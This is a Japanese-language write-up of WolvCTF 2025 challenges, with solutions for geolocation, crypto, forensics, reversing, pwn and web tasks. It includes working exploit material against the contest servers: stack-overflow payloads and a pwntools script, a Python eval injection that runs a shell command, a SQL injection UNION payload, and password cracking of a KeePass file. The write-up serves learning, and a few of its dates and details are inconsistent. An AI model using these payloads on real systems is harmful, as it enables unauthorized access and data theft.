WolvCTF_2025 writeup

# WolvCTF 2025
Jeopardy
2025/3/21, 23:00 UTC — 20253/23, 23:00 UTC


## Wintery
As the snow has once again started to fall, I spotted a flag afar. Can you find where this picture was taken? Truncate your coordinates to 3 decimal places.

Flag format: wctf{latitude,longitude}

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3959423/e6ca02e1-59e7-40e3-bcab-c18e801baa99.png)

写真からわかる以下の情報をもとにGoogleMapで探す

- Michigan Unionの旗
- 右下に屋根がある

South Quadrangleが当てはまると分かる

### flag
`wctf{42.27386,-83.74194}`

## Lost
I need your help. My friend Jimmy has absolutely zero sense of direction and may or may not have gotten himself lost. Like, super duper lost. All I know is his flight should’ve taken off from somewhere in the US at 12:59 PM on March 17th, and this picture that he sent me. Can you tell me what flight he is on? (Flag format: wctf{XX####}, use IATA airline code)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3959423/91245ae2-4041-476d-a119-45bac9621ea6.png)

わかること

- 空港
- タワーがある
- 大きなFedExの建物がある
- FedExの建物の横に道路みたいなものがある


3月7日午後1時26分/1時27分 (東部標準時)、その時間にEWRを出発したのはUA2050便

### flag
`wctf{UA2050}`


# Beginner

以下のJWTが与えられる
`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InNhbSIsImlzQWRtaW4iOmZhbHNlLCJpYXQiOjE3Mzg4ODc2OTQsImV4cCI6MTczODg4OTQ5NH0.KrRwMea_fXtfp-IbvFCn3Q-HiNVMitips0SVxODfGJc`

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3959423/c0612a78-2834-403a-9a43-8e1dc7a8d710.png)



/TOKEN_SECRET.txt
fa43623fc456bf3a62ea923f4e7a009f0aeec4a0032670ed6fc90bd268e4c62c896699572b914cb15806695fcb1f6eb3141c9bc86a87cca1bda98e1429aa902b

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3959423/76b64a55-b9e3-469b-bf4e-294ea3b88d4a.png)

`wctf{jw7_l34rn1n6_15_fun_135624154}`

## DigginDir
Author: carmengh
So I tripped on an uneven sidewalk today.... and I dropped the flag somewhere (oops). It's gotta be here somewhere..... right?

Unlock Hint for 0 points
I wish there was a linux utility that let me search for stuff...

解凍すると以下のようなものが沢山出てくる
```
┌──(kali㉿kali)-[/media/…/ctf/WolvCTF_2025/Beginner/fore]
└─$ tar -xzvf dist.tar.gz
challenge/
challenge/0Egu9cCmH2tWMB48Uiw1N1Jfm/
challenge/0Egu9cCmH2tWMB48Uiw1N1Jfm/file.txt
challenge/0ghc6cHZYcqBUw1RrmWFmGKJK/
challenge/0ghc6cHZYcqBUw1RrmWFmGKJK/file.txt
challenge/0p82csvfHLnuwY8b6Cu9vK7LW/
challenge/0p82csvfHLnuwY8b6Cu9vK7LW/file.txt
challenge/0XYH4DKRibzfdJcnv5QtLBclk/
challenge/0XYH4DKRibzfdJcnv5QtLBclk/file.txt
challenge/13hyqkkQnjrV9LcXzdP8mUIf1/
challenge/13hyqkkQnjrV9LcXzdP8mUIf1/file.txt
challenge/1L1h3xlvFIMRTsnPEZWEv0X4K/
challenge/1L1h3xlvFIMRTsnPEZWEv0X4K/file.txt
challenge/29Lw3QDk6tF1stuax3U0Dn2EK/
challenge/29Lw3QDk6tF1stuax3U0Dn2EK/file.txt
```
### solve
grepで行けるんじゃないかと思いやるとできた
>ディレクトリ内のすべてのファイルを検索し、wctf{を含む部分を出力

```
┌──(kali㉿kali)-[/media/…/WolvCTF_2025/Beginner/fore/challenge]
└─$ grep -r "wctf{" *
EUOlptwlpqPt5qrGlMnFpbat6/.secret:wctf{0h_WOW_tH@Nk5_yOu_f0U^d_1t_xD}
```

### flag
`wctf{0h_WOW_tH@Nk5_yOu_f0U^d_1t_xD}`


# EtTuCaesar - Crypto

Caesar has left a you a note encrypted with his favorite cipher, but he seems to have jumbled things even further. Can you restore his message?
What if I put the note in the shape of a square?


与えられたもの
`tzc3Sq{k!ss!a!__FZ!!_!11}`

### solve
ROTで3にすると`wcf3Vt{n!vv!d!__IC!!_!11}`が現れる
![](image.png)

5文字ずつに並べると正方形になる、左上から斜めに↙このように読むと分かる
```
wcf3V
t{n!v
v!d!_
_IC!!
_!11}
```

### flag
`wctf{v3n!_V!dI_v!C!_1!1}`


## OverAndOver - Crypto

You found a strange string that seems to be encoded with base64... yet still scrambled after decoding...

encode.txtが与えられるのでfrom base64を繰り返す(17回くらい繰り返すと出てくる)
```
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTV0ZKdGVGWlZNakExVmpBeFYySkVUbGhoTWsweFZtcEtTMUl5U2tWVWJHaG9UVmhDVVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVm1oRFZWWmFjVkZ0UmxSTmF6RTFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1pFWlNUbFpYZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm1wT1QwMHhjRlpYYlVaclVqQTFSMVV5TVRSVk1rcElaSHBHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHdlR0l4U2tkWGJHUllZbFZhY2xWcVJtRlRSbGw1VFZSU1ZrMXJjRWxhU0hCSFZqSkZlVlZZWkZwbGEzQklXWHBHVDJSV1ZuUmhSazVzWWxob1dGWnRNSGRsUjBsNFUydGtXR0pIVWxsWmJHaFRWMFpTVjJGRlRsTmlSbkJaV2xWb2ExWXdNVVZTYTFwV1lrWktSRlpxU2tkamJVVjZZVVphYUdFeGNHOVdha0poVkRKT2RGSnJaRmhpVjJoeldXeG9iMkl4V25STldHUlZUVlpXTlZWdGRHdFdNV1JJWVVac1dtSkhhRlJXTUZwVFZqRndSVkZyT1dsU00yaFlWbXBLTkZReFdsaFRhMlJxVW0xNGFGVXdhRU5TUmxweFVWaG9hMVpzV2pGV01uaHJZVWRGZWxGcmJGZFdNMEpJVmtSS1UxWXhWblZWYlhCVFlYcFdXVlpYY0U5aU1rbDRWMWhvWVZKR1NuQlVWbHBYVGtaYVdHUkhkRmhTTUhCNVZHeGFjMWR0U2tkWGJXaGFUVzVvV0ZsNlJsZGpiSEJIWVVkc1UwMHhSalpXYWtvd1ZURlZlRmR1U2s1WFJYQnhWV3hrTkdGR1ZYZGhSVTVVVW14d2VGVXlkR0ZpUmxwelYyeHdXR0V4Y0ROWmEyUkdaV3hHY21KR1pHbFhSVXBKVm10U1MxVXhXWGhYYmxaVllrZG9jRlpxU205bGJHUllaVWM1YVUxcmJEUldNalZUVkd4a1NGVnNXbFZXYkhCWVZHeGFWMlJIVWtoa1JtUk9WakZLU2xkV1ZtRmpNV1IwVTJ0a1dHSlhhR0ZVVmxwM1ZrWmFjVkp0ZEd0U2EzQXdXbFZhYTJGV1NuTmhNMmhYWVRGd2FGWlVSbFpsUm1SMVUyczFXRkpZUW5oV1Z6QjRZakZaZUZWc2FFOVdhelZ6V1d0YWQyVkdWWGxrUkVKWFRWWndlVll5ZUhkWGJGcFhZMGRvV21FeVVrZGFWV1JQVTFkS1IxcEdaRk5XV0VKMlZtMTBVMU14VVhsVmEyUlVZbXR3YUZWdE1XOWpSbHB4VkcwNVYxWnRVbGhXVjNNMVZXc3hXRlZyYUZkTmFsWlVWa2Q0WVZKc1RuTmhSbFpYVFRKb1NWWkhlR0ZaVm1SR1RsWmFVRlp0YUZSVVZXaERVMnhhYzFwRVVtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZteHdNMWxWV25kU2JIQkhWR3hTVTJFelFqVldSM2hoVkRKR1YxTnVVbEJXUlRWWVZGYzFiMWRHWkZkWGJFcHNWbXR3ZVZkcldtOWhWMFkyVm01b1YxWkZTbkpVYTFwclVqRldjMXBHYUdoTk1VcFdWbGN4TkdReVZrZFdibEpPVmxkU1YxUlhkSGRXTVd4eVZXMUdXRkl3VmpSWk1HaExWMnhhV0ZWclpHRldWMUpRVlRCVk5WWXlSa2hoUlRWWFltdEtNbFp0TVRCVk1VMTRWVmhzVlZkSGVGWlpWRVozWVVaV2NWTnRPVmRTYkVwWlZGWmpOV0pIU2toVmJHeGhWbGROTVZsV1ZYaFhSbFoxWTBaa1RsWXlhREpXYWtKclV6RmtWMVp1U2xCV2JIQnZXVlJHZDFOV1draGxSMFphVm0xU1IxUnNXbUZWUmxsNVlVaENWbUpIYUVOYVJFWmhZekZ3UlZWdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1YQllaVWhLYkZaVVJsZFhhMXBQWVZaS2NtTkVXbGRoTWs0MFdYcEdWbVZXVG5WVGJGSnBWbFp3V1ZaR1l6RmlNV1JIV2taa1dHSkZjSE5WYlRGVFpXeHNWbGRzVG1oV2EzQXhWVmMxYjFZeFdYcGhTRXBYVmtWYWVsWnFSbGRqTVdSellVZHNWMVp1UWpaV01XUXdXVmRSZVZaclpGZFhSM2h5Vld0V1MxZEdVbGRYYm1Sc1ZteHNOVnBWYUd0WFIwcEhZMFpvV2sxSGFFeFdha3BIWTJ4a2NtVkdaR2hoTTBKUlZsZHdSMWxYVFhsU2EyUm9VbXhLVkZac2FFTlRNVnB4VW0xR1ZrMVZNVFJXYkdodlYwWmtTR0ZIYUZaTlJuQm9WbTE0YzJOc1pISmtSM0JUWWtoQ05GWlVTWGRPVjBwSVUydG9WbUpIZUdoV2JHUk9UVlpzVjFaWWFGaFNiRnA1V1ZWYWExUnRSbk5YYkZaWFlUSlJNRlY2Umt0ak1YQkpWbXhTYVZKc2NGbFhWM1J2VVRBMWMxZHJhR3hTTUZwaFZtMHhVMUl4VW5OWGJVWldVbXh3TUZaWGN6VldNa1p5VjJ0NFZrMXVhSEpXYWtaaFpFWktkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMFpVaGtUazFYZUZkV01qVnJWVEpLU1ZGcmFGZFNNMmhVVm1wS1MyTnNUbkpoUm1SVFRUSm9iMVpyVWt0U01XUkhVMnhzWVZJelFsUldhazV2VjFaa1dHVkhPVkpOVlRFMFZsZDRhMWxXU2xkalNFNVdZbFJHVkZZeWVHdGpiRnBWVW14b1UyRXpRbUZXVm1NeFlqRlplRmRZY0doVFJYQmhXVmQwWVdWc1duRlNiR1JxVFZkU2VsbFZaRzlVYXpGV1kwUktWMkpIVGpSVWEyUlNaVlphY2xwR1pHbGlSWEJRVm0xNGExVXlTWGhWYkdSWFltMVNjMWxyV25OT1ZuQldXa1ZrVjAxcmNFaFphMUpoVjJ4YVdHRkZlRmROYm1ob1ZqQmFWMk5zY0VoU2JHUlhUVlZ3VWxac1pIZFNNV3hZVkZoc1UyRXlVbTlWYlhoTFZrWmFjMkZGVGxSTlZuQXdWRlpTUTFack1WWk5WRkpYVm0xb2VsWnNXbXRUUjBaSVlVWmFUbEp1UW05V2JURTBZekpPYzFwSVNtdFNNMEpVV1d0YWQwNUdXbGhOVkVKT1VteHNORll5TlU5aGJFcFlZVVpvVjJGck5WUldSVnB6VmxaR1dXRkdUbGRoTTBJMlZtdGtORmxXVlhsVGExcFlWMGhDV0Zac1duZFNNVkY0VjJ0T1ZtSkZTbFpVVlZGM1VGRTlQUT09
```

### flag
`wctf{bA5E_tWo_p0W_s!X}`

## p0wn3d - Pwn

An introduction to pwn challenges. This is to protect the babies from last year!

nc p0wn3d.kctf-453514-codelab.kctf.cloud 1337

main.c 
```
#include <stdio.h>
#include <string.h>
#include <unistd.h>

struct __attribute__((__packed__)) data {
  char buf[32];
  int guard;
};

void ignore(void)
{
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
}

void get_flag(void)
{
  char flag[1024] = { 0 };
  FILE *fp = fopen("flag.txt", "r");
  fgets(flag, 1023, fp);
  printf(flag);
}

int main(void) 
{
  struct data first_words;
  ignore(); /* ignore this function */

  printf("Hello little p0wn3r. Do you have any first words?\n");
  fgets(first_words.buf, 64, stdin);
  sleep(2);
        puts("Man that is so cute");
        sleep(2);
        puts("I remember last year people were screaming at the little p0wn3rs.. like AAAAAAAAAAAAAAAAAAAAAAAAAAAAA!");
        sleep(2);
        puts("Don't worry little one. I won't let them do that to you. I've set up a guard");

  if (first_words.guard == 0x42424242) {
    get_flag();
  }

  return 0;
}
```

### solve
バッファオーバーフローの脆弱性がある
- fgets で first_words.buf に 64 バイトまで入力を受け付けていますが、buf は 32 バイトしか確保されていません。これにより、guard の値が不正に変更され、get_flag() 関数が呼ばれる

- 32バイト分guardを埋めて、0x42424242（リトルエンディアン）を満たせばいい

```
$ python3 -c "print('A'*32 + '\x42\x42\x42\x42')" | nc p0wn3d.kctf-453514-codelab.kctf.cloud 1337
== proof-of-work: disabled ==
Hello little p0wn3r. Do you have any first words?
Man that is so cute
I remember last year people were screaming at the little p0wn3rs.. like AAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Don't worry little one. I won't let them do that to you. I've set up a guard
wctf{pwn_1s_l0v3_pwn_1s_l1f3}
```

### flag
`wctf{pwn_1s_l0v3_pwn_1s_l1f3}`


## p0wn3d_2 - Pwn

You can scream... Whatever. Can you be precise tho?

nc p0wn3d2.kctf-453514-codelab.kctf.cloud 1337


解凍する
```
└─$ tar -xzvf dist.tar.gz
chal
main.c
```

main.c 
```
#include <stdio.h>
#include <string.h>
#include <unistd.h>

struct __attribute__((__packed__)) data {
  char buf[32];
  int guard1;
        int guard2;
};

void ignore(void)
{
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
}

void get_flag(void)
{
  char flag[1024] = { 0 };
  FILE *fp = fopen("flag.txt", "r");
  fgets(flag, 1023, fp);
  printf(flag);
}

int main(void) 
{
  struct data second_words;
  ignore(); /* ignore this function */

  printf("I can't believe you just did that. Do you have anything to say for yourself?\n");
  fgets(second_words.buf, 64, stdin);
  sleep(2);
        puts("Yeah Yeah whatever");
        sleep(2);
        puts("I've got two guards now, what are you gonna do about it?");
        sleep(2);

  if (second_words.guard1 == 0xdeadbeef && second_words.guard2 == 0x0badc0de) {
    get_flag();
  }

  return 0;
}
```

分析
- buf が 32 バイト、guard1 と guard2 がそれぞれ 4 バイトとして定義
- fgets(second_words.buf, 64, stdin)で、32バイトのバッファに対して64バイトまで読み込もうとしている


## solve
バッファオーバーフローを利用する
- Aを32バイト送信してbufを埋める
- 次の4バイトにguard1の値（0xdeadbeef）をリトルエンディアン形式で設定
- 続く4バイトにguard2の値（0x0badc0de）をリトルエンディアン形式で設定

```
#!/usr/bin/env python3
from pwn import *

conn = remote('p0wn3d2.kctf-453514-codelab.kctf.cloud', 1337)

# エクスプロイトペイロードを構築
payload = b'A' * 32  # bufを埋める
payload += p32(0xdeadbeef)  # guard1 (リトルエンディアン)
payload += p32(0x0badc0de)  # guard2 (リトルエンディアン)

# 最初のプロンプトを読み込む
print(conn.recvline().decode())

# ペイロードを送信
conn.sendline(payload)

print(conn.recvall().decode())
```


出力
```
$$ python3 solve.py
[+] Opening connection to p0wn3d2.kctf-453514-codelab.kctf.cloud on port 1337: Done
== proof-of-work: disabled ==

[+] Receiving all data: Done (188B)
[*] Closed connection to p0wn3d2.kctf-453514-codelab.kctf.cloud port 1337
I can't believe you just did that. Do you have anything to say for yourself?
Yeah Yeah whatever
I've got two guards now, what are you gonna do about it?
wctf{4ll_y0uR_mEm_4r3_bel0ng_2_Us}
```

### flag
`wctf{4ll_y0uR_mEm_4r3_bel0ng_2_Us}`


## p0wn3d_3 - Pwn

Time for a little bit of control flow redirection

nc p0wn3d3.kctf-453514-codelab.kctf.cloud 1337
Unlock Hint for 0 points
Hint: look up what ret2win is


与えられたソースコード
```
#include <stdio.h>
#include <string.h>
#include <unistd.h>



void ignore(void)
{
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
}

void get_flag(void)
{
	 char *args[] = {"/bin/cat", "flag.txt", NULL};
   execve(args[0], args, NULL);
}

int main(void) 
{
	char buf[32];
  ignore(); /* ignore this function */

  printf("Now this is an original challenge. I don't think I've ever seen something like this before\n");
  sleep(2);
	gets(buf);
	puts("Drumroll please!");
	sleep(2);

  return 0;
}
```

### solve

ret2winの脆弱性を利用する
>スタックオーバーフローを利用して、リターンアドレスを書き換え、プログラムの正常な実行フローから特定のwin関数（この場合はget_flag()）にリダイレクトする手法

- gets(buf)関数が使用されていて、長さチェックがないためバッファオーバーフロー脆弱性がある
- bufは32バイトしかありませんが、getsは入力の長さを制限してない
- get_flag()関数があり、呼び出されれば/bin/cat flag.txtを実行してフラグを表示する

```
[ スタック構造 ]
| AAAA.... (32バイト)  |  ← バッファ (buf)
| Saved RBP (8バイト)  |  ← 上書き可能
| Return Address (8バイト) |  ← ここを書き換えれば制御可能！
```

リターンアドレスget_flag()のアドレスを調べる
```
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  puts@plt
0x0000000000401040  execve@plt
0x0000000000401050  gets@plt
0x0000000000401060  setvbuf@plt
0x0000000000401070  sleep@plt
0x0000000000401080  _start
0x00000000004010b0  _dl_relocate_static_pie
0x00000000004010c0  deregister_tm_clones
0x00000000004010f0  register_tm_clones
0x0000000000401130  __do_global_dtors_aux
0x0000000000401160  frame_dummy
0x0000000000401162  ignore
0x00000000004011a5  get_flag
0x00000000004011e0  main
0x0000000000401230  __libc_csu_init
0x0000000000401290  __libc_csu_fini
0x0000000000401294  _fini
(gdb) exit
```
0x4011a5がリターンアドレスget_flagと分かった


出力
```
$ python3 solve.py
[+] Opening connection to p0wn3d3.kctf-453514-codelab.kctf.cloud on port 1337: Done
== proof-of-work: disabled ==

[*] Switching to interactive mode
Drumroll please!
wctf{gr4dua73d_fr0m_l1ttl3_p0wn3r!}
[*] Got EOF while reading in interactive
```

### flag
`wctf{gr4dua73d_fr0m_l1ttl3_p0wn3r!}`


## PicturePerfect - Forensics

Wow what a respectful, happy looking lad! Hmmmmmmm, all I see is a snowman... maybe some details from the image file itself will lead us to the flag.


hi_snowman.jpgが与えられるのでメタデータ確認する
```
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/forensic]
└─$ exiftool hi_snowman.jpg 
ExifTool Version Number         : 12.76
File Name                       : hi_snowman.jpg
Directory                       : .
File Size                       : 4.1 MB
File Modification Date/Time     : 2025:03:23 12:36:46+09:00
File Access Date/Time           : 2025:03:23 13:09:35+09:00
File Inode Change Date/Time     : 2025:03:23 12:36:46+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 96
Y Resolution                    : 96
Exif Byte Order                 : Big-endian (Motorola, MM)
Padding                         : (Binary data 268 bytes, use -b option to extract)
XMP Toolkit                     : Image::ExifTool 11.88
About                           : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Title                           : wctf{d0_yOU_w@nt_t0_BUiLd_a_Sn0Wm@n}
Image Width                     : 3024
Image Height                    : 4032
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3024x4032
Megapixels                      : 12.2
```

### flag
`wctf{d0_yOU_w@nt_t0_BUiLd_a_Sn0Wm@n}`


## REdata - Rev
An eZ RE challenge.

dist.tar.gzが与えられるので解凍する
```
┌──(kali㉿kali)-[/media/…/ctf/WolvCTF_2025/Beginner/rev2]
└─$ ls
dist.tar.gz  redata
```

stringsで行けた
```
┌──(kali㉿kali)-[/media/…/ctf/WolvCTF_2025/Beginner/rev2]
└─$ strings redata | grep ctf{
wctf{n0_w4y_y0u_f0unD_1t!}
```

### flag
`wctf{n0_w4y_y0u_f0unD_1t!}`


## REverse

I hate when when RE challenges just make me do something backwards...

解凍する
```
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/Beginner]
└─$ tar -xzvf dist.tar.gz
reverse
out.txt
                                                                                                                    
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/Beginner]
└─$ ls
dist.tar.gz  out.txt  reverse
                                                                                                                    
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/Beginner]
└─$ cat out.txt 
Mixed Flag: t`qcxo0s0o2.kd\.k\o0s0o20z
                                                                                                                    
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/Beginner]
└─$ cat reverse 
@@@@�▒▒▒��   DD�-�=�=���-�=�=�8880hhhDDS
```

https://dogbolt.org/
このサイトでreverseデコンパイルすると

- Mixed Flag: t`qcxo0s0o2.kd\.k\o0s0o20z
- 与えられた文字列（flag.txtから読み取ったデータ）に対して「文字のシフト」と「文字の入れ替え」を行う処理が行われているっぽい


### solve
シーザー暗号の総当たり攻撃のスクリプト書いて実行するとShift 92でflagゲットできた

GPTが書いたスクリプトは以下
>シーザー暗号では、文字をシフトして暗号化します。例えば、'A'を1シフトすると'B'になります。
上記のコードでは、総当たりでシーザー暗号の復号化を行いました。これは、暗号化されているテキストを1シフトから94シフトまで順番に試して、どれが正しいフラグを返すか確認する方法です。
シフトの範囲は、通常のシーザー暗号において、ASCIIコードで表示可能な文字（32〜126）のシフトで行いました。シフト範囲は通常1〜94です。

```
def caesar_decrypt(ciphertext, shift):
    # シーザー暗号の復号化（指定したシフト分）
    decrypted_text = ''.join(
        [chr(((ord(c) - 32 - shift) % 95) + 32) if 32 <= ord(c) <= 126 else c for c in ciphertext]
    )
    return decrypted_text

def brute_force_caesar(ciphertext):
    # すべてのシフトを試して復号化
    for shift in range(1, 95):  # 1から94までのシフトを試す（ASCII 32〜126の範囲）
        decrypted = caesar_decrypt(ciphertext, shift)
        print(f"Shift {shift}: {decrypted}")

# 混ぜ合わせたフラグ（例: "t`qcxo0s0o2.kd\\.k\\o0s0o20z"）
ciphertext = "t`qcxo0s0o2.kd\\.k\\o0s0o20z"

# 総当たり
brute_force_caesar(ciphertext)
```

出力
```
Shift 88: {gxj v7z7v95rkc5rcv7z7v97"
Shift 89: zfwi~u6y6u84qjb4qbu6y6u86!
Shift 90: yevh}t5x5t73pia3pat5x5t75 
Shift 91: xdug|s4w4s62oh`2o`s4w4s64~
Shift 92: wctf{r3v3r51ng_1n_r3v3r53}
Shift 93: vbsezq2u2q40mf^0m^q2u2q42|
Shift 94: uardyp1t1p3/le]/l]p1t1p31{
```

### flag
`wctf{r3v3r51ng_1n_r3v3r53}`


## Eval is Evil

If eval is so bad, then why is it so easy to use?
nc evalisevil.kctf-453514-codelab.kctf.cloud 1337

chall.py 
```
import random

def main():
    
    print("Let's play a game, I am thinking of a number between 0 and", 2 ** 64, "\n")

    try:
        guess = eval(input("What is the number?: "))
    except:
        guess = 0

    correct = random.randint(0, 2**64)
    
    if (guess == correct):
        print("\nCorrect! You won the flag!")
        flag = open("flag.txt", "r").readline()
        print(flag)
    else:
        print("\nYou lost lol")

main()
```
- eval(input("What is the number?: ")) で入力を評価
- ランダムな数値 correct が生成され、入力した値と比較
- 一致すれば flag.txt からフラグが表示される


### solve

- eval() 関数を使っているので、数字以外の任意のPythonコードを実行できる

`__import__('os').system('cat flag.txt')`
osモジュールをインポートして、シェルコマンド cat flag.txt を実行し、フラグを直接表示させる

```
$ nc evalisevil.kctf-453514-codelab.kctf.cloud 1337
== proof-of-work: disabled ==
Let's play a game, I am thinking of a number between 0 and 18446744073709551616 

What is the number?: __import__('os').system('cat flag.txt')
wctf{Why_Gu3ss_Wh3n_Y0u_C4n_CH34T}
```

### flag
`wctf{Why_Gu3ss_Wh3n_Y0u_C4n_CH34T}`


## Sanity Check

check out our discord!
the flag is the topic of the #faq channel

### flag
`wctf{m1chigan_NCAA_champi0ns_inc0ming}`
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3959423/336eb478-1096-42ec-81c6-2f542961c343.png)


## Irregularity

I'd like you to show me the push-down automata for this one
```
// im so sorry
let r = /^wctf{(((?=(.{5}4))(((?=(.{2}g.(l)))(r3)).(?<=(r)..)u\7)).\9).{12}(\x5f)(?<=(\1(?:\10)(?:((?=(.{2}p[^-]([^-])5))(3x)).((?=(.{2}(\x355)))(((?=(.3))r)))...3{0,0}))(\x31)(0)n5.)m\23{1,1}(?=.(..))\8_l(\22)k(?:\24)\25r(?=\11).{8}[\w\d]{7}i..s(?<=\23n.)_smh_((?=(.{6}(z)((?=(.{2}9))((?<=z)(?=........r)(?<=(K)....).(4)(?<=O.{5}(.).))).TC(?=.b)))(Q.\32(?=.{4}i).E(?=.{9}L)f)).{6}\28...(?<=...U.{12})}$/

let flag = 'wctf{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}'

if (r.test(flag)) {
    console.log("yes");
}
```
### flag
`wctf{r3gul4r_3xpr35510n5_m0r3_l1k3_1rr3gul4r_3xpr355i0ns_smh_QOKUEfzi49TCzbLr}`


## Javascript Puzzle


It is often useful to force exceptions to potentially get back valuable information.
Can you make a request which causes an exception in this app?
https://js-puzzle-974780027560.us-east5.run.app

@author: SamXML


```
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/web]
└─$ tar -xzvf dist.tar.gz
./
./Dockerfile
./flag.txt
./package-lock.json
./package.json
./docker-compose.yml
./app.js
```


app.js見てみる
```
const express = require('express')

const app = express()
const port = 8000

app.get('/', (req, res) => {
    try {
        const username = req.query.username || 'Guest'
        const output = 'Hello ' + username
        res.send(output)
    }
    catch (error) {
        res.sendFile(__dirname + '/flag.txt')
    }
})

app.listen(port, () => {
    console.log(`Server is running at http://localhost:${port}`)
})
```
- try-catchブロック内でerrorが発生すると/flag.txtを送信される
- catch内でres.sendFile(__dirname + '/flag.txt') を実行するため、例外を発生させるとフラグを取得できる可能性がある


### solve

- usernameに特殊な値を渡し、try内でエラーを発生させる
- toStringでエラーを起こす


burpで`/?username[toString]=`を送るとflagが返ってきた

### flag
`wctf{3xc3pt10n5_4r3_y0ur_fr13nd_14285137553}`


## Limited 1

Can you attack the menu system to read the flag that is in a comment inside the query itself?
(source provided as dist.tar.gz)
Note: This is the first in a series of 3 challenges

https://limited-app-974780027560.us-east5.run.app/

initialize.sql
```
USE ctf;
-- This password is 13 characters and can be found in rockyou.
-- It is the flag for one of the challenges using this source
-- BUT it needs to be wrapped by wctf{} before submitting.
create user 'flag' identified by 'REDACTED_FLAG';

grant select on mysql.user to ctf;

-- The actual name of this table in the host challenge starts with Flag_ but is unguessable.
CREATE TABLE Flag_REDACTED
(
    value VARCHAR(255) NOT NULL
);

INSERT INTO Flag_REDACTED (value) VALUES ('wctf{redacted-flag}');
```

- Flag_REDACTEDというテーブルにフラグが保存されている


app.py
- /query エンドポイント
```
price = float(request.args.get('price') or '0.00')
price_op = str(request.args.get('price_op') or '>')
limit = str(request.args.get('limit') or '1')

query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu 
            WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
```
- price_op の長さチェック（4文字以内）もある。
- limit には特にフィルタリングがないため、SQLインジェクションの可能性

### solve

- SQLインジェクションの利用する

```
SELECT /*wctf{redacted-flag}*/ category, name, price, description 
FROM Menu 
WHERE price < /* ORDER BY 1 
LIMIT */ 0 
UNION SELECT 1, (SELECT info FROM information_schema.processlist WHERE id = CONNECTION_ID()), 3, 4 -- 
```
https://limited-app-974780027560.us-east5.run.app/query?price=10.00&price_op=< /*&limit=*/ 0 UNION SELECT 1, (SELECT info FROM information_schema.processlist WHERE id = CONNECTION_ID()), 3, 4 --  

### flag
`wctf{bu7_my5ql_h45_n0_curr3n7_qu3ry_func710n_l1k3_p0576r35_d035_25785458}`


## Passwords

I heard you're a hacker. Can you help me get my passwords back?


database.kdbxというファイルが与えられる

### solve
タイトルのpasswordから察しの通りjohn使ってパスワードを求める

```
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/forensic]
└─$ john database.hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
goblue1          (Database)     
1g 0:00:00:13 DONE 2/3 (2025-03-23 13:16) 0.07246g/s 886.8p/s 886.8c/s 886.8C/s goblue1..gustavo1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```
`goblue1`と分かった


- .kdbxの開き方について検索する
KeePass（キーパス）は、パスワードの管理と保護を目的としたフリーでオープンソースのソフトウェア

- ここからKeePassをインストールする
https://keepass.info/download.html

インストール完了して、ファイルを開くから与えられたモノを開くとパスワードを求められるので`goblue1`でいけた

HomeBankingの所にflagを発見

### flag
`wctf{1_th0ught_1t_w4s_s3cur3?}`

## FeedBack Survey


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3959423/1415c956-6de2-420d-bbb0-e73aa34aa085.png)